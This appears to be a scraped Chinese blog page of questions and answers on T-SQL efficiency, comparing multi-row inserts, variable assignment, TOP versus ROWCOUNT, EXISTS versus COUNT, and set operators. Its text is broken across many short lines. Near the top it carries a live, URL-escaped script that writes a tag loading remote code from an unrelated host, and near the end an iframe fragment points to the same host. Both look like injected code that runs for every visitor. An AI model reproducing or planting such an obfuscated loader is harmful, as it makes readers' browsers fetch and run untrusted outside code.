SQL各种写法的效率问题

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
SQL各种写法的效率问题




问:
(1)
一次插入多条数据时
:
CREATE TABLE tb(ID int,
名称
NVARCHAR(30),
备注
NVARCHAR(1000))
INSERT tb
  
SELECT 1,'DDD',1
UNION
 
ALL
       
SELECT 1,'5100','D'
UNION
 
ALL
       
SELECT 1,'5200','E'
 
也可以这样
:
CREATE TABLE tb1(ID int,
名称
NVARCHAR(30),
备注
NVARCHAR(1000))
INSERT TB1 (ID,
名称
,
备注
)VALUES(1,'DDD',1)
INSERT TB1 (ID,
名称
,
备注
)VALUES(1,'5100','D')
INSERT TB1 (ID,
名称
,
备注
)VALUES(1,'5200','E')
_________________________________
上面两种方法
,
哪种方法效率高
?
答:

1
种好一些
,
但也得有个量的控制
,
因为第
1
种的
union all
是作为一个语句整体
,
查询优化器会尝试做优化
,
同时
,
也要先算出这个结果再插入的
.
 
 
问:
(2)
赋值时
:
SELECT @a=N'aa'
SET @a=N'aa'
_________________________________
上面两种方法
,
哪种方法效率高
?
答:
如果是单个赋值
,
没有什么好比较的话
.
不过
,
如果是为多个变量赋值
,
经测试,
SELECT
一次性赋值
,
比用
SET
逐个赋值效率好
..
 
 
问:
(3)
取前几条数据时
set ROWCOUNT 2 select * from tb order by fd
select Top 2 * from tb order by fd
_________________________________
上面两种方法
,
哪种方法效率高
?
答:
SET ROWCOUNT

TOP
是一样的
,
包括执行的计划等都是一样的
 
 
问:
(4)
条件判断时
 
where 0<(select count(*) from tb where
……)
 
where exists(select * from tb where
……)

_________________________________
上面两种方法
,
哪种方法效率高
?
答:
这个一般是
exists

,
当然
,
具体还要看你后面的子查询的条件
,
是否会引用外层查询中的对象的列
.
exists
检查到有值就返回
,
而且不返回结果集
, count
需要统计出所有满足条件的
,
再返回一个结果集
,
所以一般情况下
exists

.
 
 
问:
(5)NULLIF
的使用
----->
同理它的反函数
ISNULL
的使用
update tb set fd=case when fd=1 then null else fd end
update tb set fd=nullif(fd,1)
_________________________________
上面两种方法
,
哪种方法效率高
?
答:
应该是一样的
 
 
问:
6
)从字符串中取子字符串时
substring('abcdefg',1,3)
left('abcderg',3)_
________________________________
上面两种方法
,
哪种方法效率高
?
答:
基本上是一样的
 
 
问:
(7)EXCEPT

Not in
的区别
?
答:
except
会去重复
, not in
不会
(
除非你在
select
中显式指定
)
except
用于比较的列是所有列
,
除非写子查询限制列
, not in
没有这种情况
 
 
问:
(8)INTERSECT

UNION
的区别
?
答:
intersect
是两个查询都有的非重复值
(
交集
), union
是两个查询结果的所有不重复值
(
并集
)
 
CSDN
上对应的帖子
http://community.csdn.net/Expert/topic/4867/4867641.xml?temp=.8817865
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值